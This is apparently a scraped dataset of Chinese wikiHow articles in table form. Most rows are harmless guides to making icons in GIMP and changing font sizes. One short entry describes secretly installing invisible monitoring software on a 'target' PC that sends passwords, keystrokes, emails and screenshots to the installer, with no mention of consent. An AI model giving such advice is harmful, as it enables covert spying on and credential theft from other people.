\"和男友说话时，尽量回答得简短一些。当他问你问题时，用几个字回答就可以了，没必要说得太详细。不要问他过得如何，或者这周有什么打算。你要给他留下漠不关心的印象。\\n用点头或耸肩作为回答。\\n你的回答要尽量简短，最好能一两个字搞定，比如“是”、“不是”、“好”、“可以”。\"}]}]}}",
"问题明细": "",
"扩展字段": ""
} | wikihow |
14,717 | 如何创建图标 | 1. 准备图片
1-1. 获取或者创建图片。
你可以用任何图片制作图标，但是图片的像素最少应该是256 X 256。只有这种规格的图片才能很好的伸缩成各种大小的图标。图片中有你不喜欢的元素也没有关系，你可以选择删除它们。
记住，图标是正方形的，所以你要选择适合正方形的图片。如果图片是长方形的，那你的图标看起来会像是被压扁了一样。
如果你要创建Mac OS X的图标，图片尺寸应该是512 X 512像素。
你可以使用你喜爱的画图软件绘制图片，或者使用现有的照片、图片或者其他图像文件做图标。
1-2. 安装图像编辑软件。
要想创建图标，你需要使用功能比画图强大的软件。你可以使用Photoshop，不过免费的软件，比如GIMP和Pixlr，也可以胜任。
本文使用的软件是GIMP，这个软件是免费的，并且可以在多系统中使用。整个过程和使用Photoshop、Pixlr的一样。
1-3. 在编辑器中打开图片。
使用GIMP打开下载的或者创建的图片，图片会出现在屏幕中央。
1-4. 添加阿尔法通道。
α通道是透明图层，这样擦去图片上你不想要的部分之后，整个背景就是透明的。右键点击屏幕右侧图层窗口中的图层，选择“添加α通道”。
1-5. 插入快速蒙版。
快速蒙版可以帮你轻松去掉图片上你不想要的部分。按下Shift+Q，插入快速蒙版，图片上就会出现一个红色图层。
1-6. 在蒙版上擦去你想保留的部分。
从屏幕左侧工具栏窗口中，选择擦除工具，使用橡皮擦在红色图层上，擦去你想保留的部分。比如，如果你想使用桌子上的手机作为图标，你需要用橡皮擦擦去手机部分。
使用工具栏中的工具选项标签，可以调整橡皮擦的大小。你也可以放大图片，擦去图片上的细节。
在蒙版上擦除，只会擦除蒙版上的部分，不会擦去图片上的内容。
1-7. 切换蒙版。
当你擦除完所有你想保留的部分之后，再次按下Shift+Q，你擦去的部分就会被选中。
1-8. 删除背景。
按下Ctrl+I，或者点击选择 → 反选，就会选中没有被擦除的部分，按下Del键，就可以只留下你需要的素材。
2. 创建图标
2-1. 改变画布大小。
点击图像 → 画布尺寸。在窗口中，点击锁链的标志，解除长宽锁定，然后将画布调整到合适大小，并且保证长宽的数值都一样。
在点击“调整尺寸”按钮之前，使用偏移量将图像调整到画布中央。
调整完图像尺寸后，右键点击图层，选择“图层匹配图像”，图层的边界就会和图像的边界重合。
2-2. 调整颜色。
如果你想的话，你可以使用GIMP的颜色工具，改变图像的配色。最简单的方法就是点击颜色 → 彩色化，然后调整设置，将图片的颜色调整到你满意为止。
2-3. 创建不同尺寸的图标。
创建图标的最后一步就是确保图片可以适应不同尺寸的图标。这一步是很有必要的，因为在系统的不同地方，需要用到不同尺寸的图标，图标会被放大或缩小。
复制图层。在图层窗口中，点击图层，然后按下Ctrl+C。
调整原图层尺寸。按下Shift+T打开缩放工具，将图片尺寸改为256 X 256。点击图像 → 画布匹配图层（注意：如果你创建的是OS X系统的图标，尺寸应该是512 X 512）
创建第一个副本。按下Ctrl+V，粘贴图层。点击图层 → 新建图层。打开缩放工具，将尺寸改为128 X 128。
创建第二个副本。按下Ctrl+V，粘贴图层。点击图层 → 新建图层。打开缩放工具，将尺寸改为48 X 48。
创建第三个副本。按下Ctrl+V，粘贴图层。点击图层 → 新建图层。打开缩放工具，将尺寸改为32 X 32。
创建第四个副本。按下Ctrl+V，粘贴图层。点击图层 → 新建图层。打开缩放工具，将尺寸改为16 X 16。
2-4. 检查图层。
现在，你有了5个图层，每个图层的图片都比上一个小。如果其中有任意一张图片看起来模糊，依次点击滤镜 → 增强 → 锐化，锐化图片。调整滑条，让图片看起来更清楚。
2-5. 将图片保存为图标。
点击文件 → 导出。在导出窗口中，选择“.ico”作为后缀，然后选择保存地点，之后会弹出一个窗口，询问你是否要压缩图层。如果你不是用的Windows XP系统，你只需要压缩最大的两个图层就够了。
2-6. 使用图标。
将图片导出成.ico格式之后，你可以用它代替任何文件或文件夹的图标。
阅读相关指南，修改Windows中的图标。
阅读相关指南，修改Mac OS X中的图标。你可能需要使用免费的在线转换器，将ICO文件转换为ICNS文件（Mac的图标文件格式）。
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"create_time": "20230517 11:02:17",
"回答明细": "{\"回答\": \"1. 准备图片\\n1-1. 获取或者创建图片。\\n你可以用任何图片制作图标，但是图片的像素最少应该是256 X 256。只有这种规格的图片才能很好的伸缩成各种大小的图标。图片中有你不喜欢的元素也没有关系，你可以选择删除它们。\\n记住，图标是正方形的，所以你要选择适合正方形的图片。如果图片是长方形的，那你的图标看起来会像是被压扁了一样。\\n如果你要创建Mac OS X的图标，图片尺寸应该是512 X 512像素。\\n你可以使用你喜爱的画图软件绘制图片，或者使用现有的照片、图片或者其他图像文件做图标。\\n1-2. 安装图像编辑软件。\\n要想创建图标，你需要使用功能比画图强大的软件。你可以使用Photoshop，不过免费的软件，比如GIMP和Pixlr，也可以胜任。\\n本文使用的软件是GIMP，这个软件是免费的，并且可以在多系统中使用。整个过程和使用Photoshop、Pixlr的一样。\\n1-3. 在编辑器中打开图片。\\n使用GIMP打开下载的或者创建的图片，图片会出现在屏幕中央。\\n1-4. 添加阿尔法通道。\\nα通道是透明图层，这样擦去图片上你不想要的部分之后，整个背景就是透明的。右键点击屏幕右侧图层窗口中的图层，选择“添加α通道”。\\n1-5. 插入快速蒙版。\\n快速蒙版可以帮你轻松去掉图片上你不想要的部分。按下Shift+Q，插入快速蒙版，图片上就会出现一个红色图层。\\n1-6. 在蒙版上擦去你想保留的部分。\\n从屏幕左侧工具栏窗口中，选择擦除工具，使用橡皮擦在红色图层上，擦去你想保留的部分。比如，如果你想使用桌子上的手机作为图标，你需要用橡皮擦擦去手机部分。\\n使用工具栏中的工具选项标签，可以调整橡皮擦的大小。你也可以放大图片，擦去图片上的细节。\\n在蒙版上擦除，只会擦除蒙版上的部分，不会擦去图片上的内容。\\n1-7. 切换蒙版。\\n当你擦除完所有你想保留的部分之后，再次按下Shift+Q，你擦去的部分就会被选中。\\n1-8. 删除背景。\\n按下Ctrl+I，或者点击选择 → 反选，就会选中没有被擦除的部分，按下Del键，就可以只留下你需要的素材。\\n2. 创建图标\\n2-1. 改变画布大小。\\n点击图像 → 画布尺寸。在窗口中，点击锁链的标志，解除长宽锁定，然后将画布调整到合适大小，并且保证长宽的数值都一样。\\n在点击“调整尺寸”按钮之前，使用偏移量将图像调整到画布中央。\\n调整完图像尺寸后，右键点击图层，选择“图层匹配图像”，图层的边界就会和图像的边界重合。\\n2-2. 调整颜色。\\n如果你想的话，你可以使用GIMP的颜色工具，改变图像的配色。最简单的方法就是点击颜色 → 彩色化，然后调整设置，将图片的颜色调整到你满意为止。\\n2-3. 创建不同尺寸的图标。\\n创建图标的最后一步就是确保图片可以适应不同尺寸的图标。这一步是很有必要的，因为在系统的不同地方，需要用到不同尺寸的图标，图标会被放大或缩小。\\n复制图层。在图层窗口中，点击图层，然后按下Ctrl+C。\\n调整原图层尺寸。按下Shift+T打开缩放工具，将图片尺寸改为256 X 256。点击图像 → 画布匹配图层（注意：如果你创建的是OS X系统的图标，尺寸应该是512 X 512）\\n创建第一个副本。按下Ctrl+V，粘贴图层。点击图层 → 新建图层。打开缩放工具，将尺寸改为128 X 128。\\n创建第二个副本。按下Ctrl+V，粘贴图层。点击图层 → 新建图层。打开缩放工具，将尺寸改为48 X 48。\\n创建第三个副本。按下Ctrl+V，粘贴图层。点击图层 → 新建图层。打开缩放工具，将尺寸改为32 X 32。\\n创建第四个副本。按下Ctrl+V，粘贴图层。点击图层 → 新建图层。打开缩放工具，将尺寸改为16 X 16。\\n2-4. 检查图层。\\n现在，你有了5个图层，每个图层的图片都比上一个小。如果其中有任意一张图片看起来模糊，依次点击滤镜 → 增强 → 锐化，锐化图片。调整滑条，让图片看起来更清楚。\\n2-5. 将图片保存为图标。\\n点击文件 → 导出。在导出窗口中，选择“.ico”作为后缀，然后选择保存地点，之后会弹出一个窗口，询问你是否要压缩图层。如果你不是用的Windows XP系统，你只需要压缩最大的两个图层就够了。\\n2-6. 使用图标。\\n将图片导出成.ico格式之后，你可以用它代替任何文件或文件夹的图标。\\n阅读相关指南，修改Windows中的图标。\\n阅读相关指南，修改Mac OS X中的图标。你可能需要使用免费的在线转换器，将ICO文件转换为ICNS文件（Mac的图标文件格式）。\\n\", \"简要回答\": \"想装饰电脑桌面？那你可以考虑自定义图标。自定义图标可以让你的电脑看起来更个性。使用像GIMP这样的免费软件，你可以很快将任何图片制作成漂亮的、可伸缩的图标，然后把它用在任何地方。阅读本文，了解制作图标的方法吧。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"准备图片\", \"步骤\": [{\"编号\": 1, \"标题\": \"获取或者创建图片。\", \"描述\": \"你可以用任何图片制作图标，但是图片的像素最少应该是256 X 256。只有这种规格的图片才能很好的伸缩成各种大小的图标。图片中有你不喜欢的元素也没有关系，你可以选择删除它们。\\n记住，图标是正方形的，所以你要选择适合正方形的图片。如果图片是长方形的，那你的图标看起来会像是被压扁了一样。\\n如果你要创建Mac OS X的图标，图片尺寸应该是512 X 512像素。\\n你可以使用你喜爱的画图软件绘制图片，或者使用现有的照片、图片或者其他图像文件做图标。\"}, {\"编号\": 2, \"标题\": \"安装图像编辑软件。\", \"描述\": \"要想创建图标，你需要使用功能比画图强大的软件。你可以使用Photoshop，不过免费的软件，比如GIMP和Pixlr，也可以胜任。\\n本文使用的软件是GIMP，这个软件是免费的，并且可以在多系统中使用。整个过程和使用Photoshop、Pixlr的一样。\"}, {\"编号\": 3, \"标题\": \"在编辑器中打开图片。\", \"描述\": \"使用GIMP打开下载的或者创建的图片，图片会出现在屏幕中央。\"}, {\"编号\": 4, \"标题\": \"添加阿尔法通道。\", \"描述\": \"α通道是透明图层，这样擦去图片上你不想要的部分之后，整个背景就是透明的。右键点击屏幕右侧图层窗口中的图层，选择“添加α通道”。\"}, {\"编号\": 5, \"标题\": \"插入快速蒙版。\", \"描述\": \"快速蒙版可以帮你轻松去掉图片上你不想要的部分。按下Shift+Q，插入快速蒙版，图片上就会出现一个红色图层。\"}, {\"编号\": 6, \"标题\": \"在蒙版上擦去你想保留的部分。\", \"描述\": \"从屏幕左侧工具栏窗口中，选择擦除工具，使用橡皮擦在红色图层上，擦去你想保留的部分。比如，如果你想使用桌子上的手机作为图标，你需要用橡皮擦擦去手机部分。\\n使用工具栏中的工具选项标签，可以调整橡皮擦的大小。你也可以放大图片，擦去图片上的细节。\\n在蒙版上擦除，只会擦除蒙版上的部分，不会擦去图片上的内容。\"}, {\"编号\": 7, \"标题\": \"切换蒙版。\", \"描述\": \"当你擦除完所有你想保留的部分之后，再次按下Shift+Q，你擦去的部分就会被选中。\"}, {\"编号\": 8, \"标题\": \"删除背景。\", \"描述\": \"按下Ctrl+I，或者点击选择 → 反选，就会选中没有被擦除的部分，按下Del键，就可以只留下你需要的素材。\"}]}, {\"编号\": 2, \"标题\": \"创建图标\", \"步骤\": [{\"编号\": 1, \"标题\": \"改变画布大小。\", \"描述\": \"点击图像 → 画布尺寸。在窗口中，点击锁链的标志，解除长宽锁定，然后将画布调整到合适大小，并且保证长宽的数值都一样。\\n在点击“调整尺寸”按钮之前，使用偏移量将图像调整到画布中央。\\n调整完图像尺寸后，右键点击图层，选择“图层匹配图像”，图层的边界就会和图像的边界重合。\"}, {\"编号\": 2, \"标题\": \"调整颜色。\", \"描述\": \"如果你想的话，你可以使用GIMP的颜色工具，改变图像的配色。最简单的方法就是点击颜色 → 彩色化，然后调整设置，将图片的颜色调整到你满意为止。\"}, {\"编号\": 3, \"标题\": \"创建不同尺寸的图标。\", \"描述\": \"创建图标的最后一步就是确保图片可以适应不同尺寸的图标。这一步是很有必要的，因为在系统的不同地方，需要用到不同尺寸的图标，图标会被放大或缩小。\\n复制图层。在图层窗口中，点击图层，然后按下Ctrl+C。\\n调整原图层尺寸。按下Shift+T打开缩放工具，将图片尺寸改为256 X 256。点击图像 → 画布匹配图层（注意：如果你创建的是OS X系统的图标，尺寸应该是512 X 512）\\n创建第一个副本。按下Ctrl+V，粘贴图层。点击图层 → 新建图层。打开缩放工具，将尺寸改为128 X 128。\\n创建第二个副本。按下Ctrl+V，粘贴图层。点击图层 → 新建图层。打开缩放工具，将尺寸改为48 X 48。\\n创建第三个副本。按下Ctrl+V，粘贴图层。点击图层 → 新建图层。打开缩放工具，将尺寸改为32 X 32。\\n创建第四个副本。按下Ctrl+V，粘贴图层。点击图层 → 新建图层。打开缩放工具，将尺寸改为16 X 16。\"}, {\"编号\": 4, \"标题\": \"检查图层。\", \"描述\": \"现在，你有了5个图层，每个图层的图片都比上一个小。如果其中有任意一张图片看起来模糊，依次点击滤镜 → 增强 → 锐化，锐化图片。调整滑条，让图片看起来更清楚。\"}, {\"编号\": 5, \"标题\": \"将图片保存为图标。\", \"描述\": \"点击文件 → 导出。在导出窗口中，选择“.ico”作为后缀，然后选择保存地点，之后会弹出一个窗口，询问你是否要压缩图层。如果你不是用的Windows XP系统，你只需要压缩最大的两个图层就够了。\"}, {\"编号\": 6, \"标题\": \"使用图标。\", \"描述\": \"将图片导出成.ico格式之后，你可以用它代替任何文件或文件夹的图标。\\n阅读相关指南，修改Windows中的图标。\\n阅读相关指南，修改Mac OS X中的图标。你可能需要使用免费的在线转换器，将ICO文件转换为ICNS文件（Mac的图标文件格式）。\"}]}]}}",
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14,718 | 如何远程监视个人电脑 | 1. 步骤
1-1. 首先，您需要下载一个远程监控的工具。
您可以通过网络搜索一个满足您的要求的远程监控软件。如果您不需要隐形监控的话，您可以使用VNC协议，或者Teamviewer来进行远程操控。 如果您想隐形监控的话，也可以使用隐形的电脑监控软件——Micro监控软件。
1-2. 在目标电脑上安装远程监控软件。
双击安装文件，按照说明一步步的完成软件安装{"smallUrl":"https:\/\/www.wikihow.com\/images_en\/8\/86\/Remotely-Monitor-Another-PC-Step-2.jpg","bigUrl":"https:\/\/www.wikihow.com\/images\/thumb\/8\/86\/Remotely-Monitor-Another-PC-Step-2.jpg\/v4-111px-Remotely-Monitor-Another-PC-Step-2.jpg","smallWidth":460,"smallHeight":518,"bigWidth":111,"bigHeight":125,"licensing":"<div class=\"mw-parser-output\"><\/div>"}
1-3. 根据需要设置软件。
完成安装后，您的远程安装软件已经开始在您的电脑上工作了，开始记录一切发生在您想要监控的电脑上的活动并秘密地讲这些记录远程发送到您的远程账户或者邮箱里面。至于您想记录什么活动，可以根据自己的需要对软件进行配置。
1-4. 登陆远程账号或者邮箱检查所有记录。
这些记录包括: {"smallUrl":"https:\/\/www.wikihow.com\/images_en\/2\/2c\/Remotely-Monitor-Another-PC-Step-4.jpg","bigUrl":"https:\/\/www.wikihow.com\/images\/thumb\/2\/2c\/Remotely-Monitor-Another-PC-Step-4.jpg\/v4-346px-Remotely-Monitor-Another-PC-Step-4.jpg","smallWidth":460,"smallHeight":404,"bigWidth":346,"bigHeight":304,"licensing":"<div class=\"mw-parser-output\"><\/div>"}
输入的密码
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输入的按键记录
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输入的邮件记录
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桌面截图
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网页历史记录
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{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/2\\\\/2c\\\\/Remotely-Monitor-Another-PC-Step-4.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/2\\\\/2c\\\\/Remotely-Monitor-Another-PC-Step-4.jpg\\\\/v4-346px-Remotely-Monitor-Another-PC-Step-4.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":404,\\\"bigWidth\\\":346,\\\"bigHeight\\\":304,\\\"licensing\\\":\\\"<div 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\"在目标电脑上安装远程监控软件。\", \"描述\": \"双击安装文件，按照说明一步步的完成软件安装{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/8\\\\/86\\\\/Remotely-Monitor-Another-PC-Step-2.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/8\\\\/86\\\\/Remotely-Monitor-Another-PC-Step-2.jpg\\\\/v4-111px-Remotely-Monitor-Another-PC-Step-2.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":518,\\\"bigWidth\\\":111,\\\"bigHeight\\\":125,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\"}, {\"编号\": 3, \"标题\": \"根据需要设置软件。\", \"描述\": \"完成安装后，您的远程安装软件已经开始在您的电脑上工作了，开始记录一切发生在您想要监控的电脑上的活动并秘密地讲这些记录远程发送到您的远程账户或者邮箱里面。至于您想记录什么活动，可以根据自己的需要对软件进行配置。\"}, {\"编号\": 4, \"标题\": \"登陆远程账号或者邮箱检查所有记录。\", \"描述\": \"这些记录包括: {\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/2\\\\/2c\\\\/Remotely-Monitor-Another-PC-Step-4.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/2\\\\/2c\\\\/Remotely-Monitor-Another-PC-Step-4.jpg\\\\/v4-346px-Remotely-Monitor-Another-PC-Step-4.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":404,\\\"bigWidth\\\":346,\\\"bigHeight\\\":304,\\\"licensing\\\":\\\"<div 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"扩展字段": ""
} | wikihow |
14,719 | 如何更改电脑的字体大小 | 1. Windows电脑
1-1. 打开“开始”菜单。
点击屏幕左下角的Windows徽标。
1-2. 打开“设置”。
点击“开始”窗口左下方的齿轮图标。
1-3. 点击系统。
它就在“设置”窗口左上方，图标是一个电脑显示屏。
1-4. 点击窗口左上角的显示选项卡。
1-5. 点击“更改文本、应用和其他项目的大小”下拉框。
它就在“设置”窗口靠近中间的位置。屏幕上会出现一个下拉菜单。
1-6. 点击一个字体大小。
从出现的下拉框中，选取你要放大的比例。
最小的字体大小是。
有些文本大小需要重启电脑后更改才会生效。
1-7. 考虑使用“放大镜”。
这个功能让你能够放大查看屏幕上的项目，同时不用更改其它设置：
同时按下Win和+来打开放大镜。你也可以在“开始”菜单输入放大镜，然后点击打开它。
点击缩小到最小100%。
点击放大到最大1600%。
将光标放在屏幕其中一角来进行平移。
2. Mac电脑
2-1. 打开“访达”。
点击Mac“程序坞”中的“访达”应用，它的图标看起来像一张蓝脸。
2-2. 点击屏幕左上角的显示菜单项。
这样会打开一个下拉菜单。
2-3. 点击下拉菜单中的查看显示选项。
这样会弹出一个窗口。
2-4. 点击“字体大小”下拉框。
它就在弹出的“显示选项”窗口中靠近顶端的位置。
2-5. 选择一个字体大小。
从出现的下拉菜单中，选择你想使用的字体大小。
如果你更改了“访达”的显示方式，需要重新调整字体大小。
2-6. 更改边栏大小。
如果想放大“访达”菜单选项，可以按下面的步骤操作：
点击 {"smallUrl":"https:\/\/www.wikihow.com\/images_en\/f\/ff\/Macapple1.png","bigUrl":"https:\/\/www.wikihow.com\/images\/thumb\/f\/ff\/Macapple1.png\/29px-Macapple1.png","smallWidth":460,"smallHeight":476,"bigWidth":29,"bigHeight":30,"licensing":"<div class=\"mw-parser-output\"><\/div>"}。
点击下拉菜单中的。
点击。
点击“边栏图标大小”下拉框。
点击一个尺寸，比如。
2-7. 考虑使用Mac电脑的“缩放”功能。
Mac电脑有一个辅助功能允许你放大屏幕，不需要更改系统设置。你需要先启用“缩放”功能才能使用它：
点击 {"smallUrl":"https:\/\/www.wikihow.com\/images_en\/f\/ff\/Macapple1.png","bigUrl":"https:\/\/www.wikihow.com\/images\/thumb\/f\/ff\/Macapple1.png\/29px-Macapple1.png","smallWidth":460,"smallHeight":476,"bigWidth":29,"bigHeight":30,"licensing":"<div class=\"mw-parser-output\"><\/div>"}。
点击。
点击。
点击。
勾选“使用键盘快捷键来缩放”方框。
同时按住Option+Command+8启用“缩放”功能，之后可以按Option+Command++来放大，按Option+Command+-来缩小。
3. 谷歌Chrome浏览器
3-1. 打开谷歌Chrome浏览器。
点击或双击Chrome应用，它的图标是红、黄、绿和蓝色构成的球体。
想要更改网页浏览器的菜单项大小，则需要使用电脑的“放大镜”（Windows）或“缩放”（Mac）功能。
3-2. 尝试更改某个网页的字体大小。
如果只用放大或缩小某个网页的字体，可以用键盘快捷键来实现。这只对当前网页有效，清除浏览器的Cookie后可能需要重复缩放操作：
前往要更改字体大小的网页。
按住Ctrl（Windows）或Command（Mac）。
按住Ctrl或Command不放，然后按下+来放大字体。
按住Ctrl或Command不放，然后按下-来缩小字体。
3-3. 点击窗口右上角的⋮。
屏幕上会出现一个下拉菜单。
3-4. 点击设置。
它就在下拉菜单中靠近中间的位置。这样会打开Chrome浏览器的“设置”页面。
3-5. 往下滚动，点击“字号”下拉框。
它是靠近页面顶端的“外观”部分其中一个选项。点击后会打开一个下拉菜单。
3-6. 选择你偏好的字号。
在下拉菜单中，点击你想要放大或缩小到哪一种字号，比如。
3-7. 重启Chrome浏览器。
关闭Chrome，然后重新打开。之后打开的网页都会重置成你偏好的字号。
4. Firefox火狐浏览器
4-1. 打开Firefox火狐浏览器。
点击或双击火狐浏览器应用，它的图标是橙色的狐狸围着一个蓝色地球。
想要更改网页浏览器的菜单项大小，需要使用电脑的“放大镜”（Windows）或“缩放”（Mac）功能。
4-2. 尝试更改某个网页的字体大小。
如果只需要放大或缩小某个网页的字体，可以用键盘快捷键来达到目的。这只对当前网页有效，清除浏览器的cookie后，可能需要重复缩放操作：
前往要更改字体大小的网页。
按住Ctrl（Windows）或Command（Mac）。
按住Ctrl或Command不放，然后按下+来放大字体。
按住Ctrl或Command不放，然后按下-来缩小字体。
4-3. 点击窗口右上角的☰。
屏幕上会出现一个下拉菜单。
4-4. 点击下拉菜单中的选项。
这样会打开“选项”页面。
在Mac电脑，点击下拉菜单中的。
4-5. 往下滚动到“语言和外观”部分。
它就在“选项”页面中靠近顶端的位置。
4-6. 点击“语言和外观”部分右下方的高级。
屏幕上会弹出一个窗口。
4-7. 取消勾选“允许页面选择自己的字体代替您的上述选择”方框。
它就在弹出窗口中靠近底部的位置。
4-8. 点击弹出窗口中间的“最小字体大小”下拉框，打开一个下拉菜单。
4-9. 点击一个字体大小。
从下拉菜单中，点击你希望浏览器使用的最小字体大小。
4-10. 点击窗口底部的确定。
如果你选择大于24的字体大小，火狐浏览器会警告你某些页面可能无法使用。
4-11. 重启火狐浏览器。
关闭火狐浏览器，再重新打开，确保你更改的设置应用到日后打开的所有页面。
5. Microsoft Edge浏览器
5-1. 打开Microsoft Edge浏览器。
点击或双击Microsoft Edge浏览器应用，它的图标是一个蓝色或白色的字母“e”。
想要更改网页浏览器的菜单项大小，需要使用电脑的“放大镜”功能。
5-2. 点击窗口右上角的⋯。
屏幕上会出现一个下拉菜单。
5-3. 放大或缩小。
在下拉菜单的“缩放”部分中，点击图标来缩小字体，点击图标来放大字体。
Microsoft Edge和许多浏览器不同，用这个菜单放大或缩小某个网页，也会应用到其它网页。
6. Safari浏览器
6-1. 打开Safari浏览器。
点击或双击Mac“程序坞”中的Safari应用，图标像一个蓝色指南针。
想要更改网页浏览器的菜单项大小，需要使用Mac电脑的“缩放”功能。
6-2. 尝试更改某个网页的字体大小。
如果只需要放大或缩小某个网页的字体，可以用键盘快捷键来达到目的。这只对当前网页有效，清除浏览器的cookie后可能需要重复缩放操作：
前往要更改字体大小的网页。
按住Ctrl（Windows）或Command（Mac）。
按住Ctrl或Command不放，然后按下+来放大字体。
按住Ctrl或Command不放，然后按下-来缩小字体。
点击，然后点击下拉菜单中的，就能回到网页的原始大小。
6-3. 点击屏幕左上角的Safari浏览器菜单项。
这样会打开一个下拉菜单。
6-4. 点击Safari浏览器下拉菜单中的偏好设置。
6-5. 点击高级选项卡。
它就在“偏好设置”窗口的右上方。
6-6. 勾选“从不使用小于以下大小的字体”方框。
它就在“辅助功能”的选项列表中。
6-7. 点击“从不使用小于以下大小的字体”这行字右边的“9”下拉框。
这样会打开一个下拉菜单。
6-8. 选择一个字体大小。
从下拉菜单中，点击一个数字作为浏览器默认的字体大小。
6-9. 重启Safari浏览器。
把它关掉，再重新打开，确保你更改的字体大小设置应用到浏览器。
小提示
使用电脑的“放大镜”或“缩放”功能可以迅速放大屏幕上的项目，不需要重置任何功能的设置。
警告
你无法通过Windows电脑的“设置”菜单缩小字体，可以选择的最小字体是100%。
| {
"create_time": "20230517 11:02:18",
"回答明细": "{\"回答\": \"1. Windows电脑\\n1-1. 打开“开始”菜单。\\n点击屏幕左下角的Windows徽标。\\n1-2. 打开“设置”。\\n点击“开始”窗口左下方的齿轮图标。\\n1-3. 点击系统。\\n它就在“设置”窗口左上方，图标是一个电脑显示屏。\\n1-4. 点击窗口左上角的显示选项卡。\\n\\n1-5. 点击“更改文本、应用和其他项目的大小”下拉框。\\n它就在“设置”窗口靠近中间的位置。屏幕上会出现一个下拉菜单。\\n1-6. 点击一个字体大小。\\n从出现的下拉框中，选取你要放大的比例。\\n最小的字体大小是。\\n有些文本大小需要重启电脑后更改才会生效。\\n1-7. 考虑使用“放大镜”。\\n这个功能让你能够放大查看屏幕上的项目，同时不用更改其它设置：\\n同时按下Win和+来打开放大镜。你也可以在“开始”菜单输入放大镜，然后点击打开它。\\n点击缩小到最小100%。\\n点击放大到最大1600%。\\n将光标放在屏幕其中一角来进行平移。\\n2. Mac电脑\\n2-1. 打开“访达”。\\n点击Mac“程序坞”中的“访达”应用，它的图标看起来像一张蓝脸。\\n2-2. 点击屏幕左上角的显示菜单项。\\n这样会打开一个下拉菜单。\\n2-3. 点击下拉菜单中的查看显示选项。\\n这样会弹出一个窗口。\\n2-4. 点击“字体大小”下拉框。\\n它就在弹出的“显示选项”窗口中靠近顶端的位置。\\n2-5. 选择一个字体大小。\\n从出现的下拉菜单中，选择你想使用的字体大小。\\n如果你更改了“访达”的显示方式，需要重新调整字体大小。\\n2-6. 更改边栏大小。\\n如果想放大“访达”菜单选项，可以按下面的步骤操作：\\n点击 {\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/f\\\\/ff\\\\/Macapple1.png\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/f\\\\/ff\\\\/Macapple1.png\\\\/29px-Macapple1.png\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":476,\\\"bigWidth\\\":29,\\\"bigHeight\\\":30,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}。\\n点击下拉菜单中的。\\n点击。\\n点击“边栏图标大小”下拉框。\\n点击一个尺寸，比如。\\n2-7. 考虑使用Mac电脑的“缩放”功能。\\nMac电脑有一个辅助功能允许你放大屏幕，不需要更改系统设置。你需要先启用“缩放”功能才能使用它：\\n点击 {\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/f\\\\/ff\\\\/Macapple1.png\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/f\\\\/ff\\\\/Macapple1.png\\\\/29px-Macapple1.png\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":476,\\\"bigWidth\\\":29,\\\"bigHeight\\\":30,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}。\\n点击。\\n点击。\\n点击。\\n勾选“使用键盘快捷键来缩放”方框。\\n同时按住Option+Command+8启用“缩放”功能，之后可以按Option+Command++来放大，按Option+Command+-来缩小。\\n3. 谷歌Chrome浏览器\\n3-1. 打开谷歌Chrome浏览器。\\n点击或双击Chrome应用，它的图标是红、黄、绿和蓝色构成的球体。\\n想要更改网页浏览器的菜单项大小，则需要使用电脑的“放大镜”（Windows）或“缩放”（Mac）功能。\\n3-2. 尝试更改某个网页的字体大小。\\n如果只用放大或缩小某个网页的字体，可以用键盘快捷键来实现。这只对当前网页有效，清除浏览器的Cookie后可能需要重复缩放操作：\\n前往要更改字体大小的网页。\\n按住Ctrl（Windows）或Command（Mac）。\\n按住Ctrl或Command不放，然后按下+来放大字体。\\n按住Ctrl或Command不放，然后按下-来缩小字体。\\n3-3. 点击窗口右上角的⋮。\\n屏幕上会出现一个下拉菜单。\\n3-4. 点击设置。\\n它就在下拉菜单中靠近中间的位置。这样会打开Chrome浏览器的“设置”页面。\\n3-5. 往下滚动，点击“字号”下拉框。\\n它是靠近页面顶端的“外观”部分其中一个选项。点击后会打开一个下拉菜单。\\n3-6. 选择你偏好的字号。\\n在下拉菜单中，点击你想要放大或缩小到哪一种字号，比如。\\n3-7. 重启Chrome浏览器。\\n关闭Chrome，然后重新打开。之后打开的网页都会重置成你偏好的字号。\\n4. Firefox火狐浏览器\\n4-1. 打开Firefox火狐浏览器。\\n点击或双击火狐浏览器应用，它的图标是橙色的狐狸围着一个蓝色地球。\\n想要更改网页浏览器的菜单项大小，需要使用电脑的“放大镜”（Windows）或“缩放”（Mac）功能。\\n4-2. 尝试更改某个网页的字体大小。\\n如果只需要放大或缩小某个网页的字体，可以用键盘快捷键来达到目的。这只对当前网页有效，清除浏览器的cookie后，可能需要重复缩放操作：\\n前往要更改字体大小的网页。\\n按住Ctrl（Windows）或Command（Mac）。\\n按住Ctrl或Command不放，然后按下+来放大字体。\\n按住Ctrl或Command不放，然后按下-来缩小字体。\\n4-3. 点击窗口右上角的☰。\\n屏幕上会出现一个下拉菜单。\\n4-4. 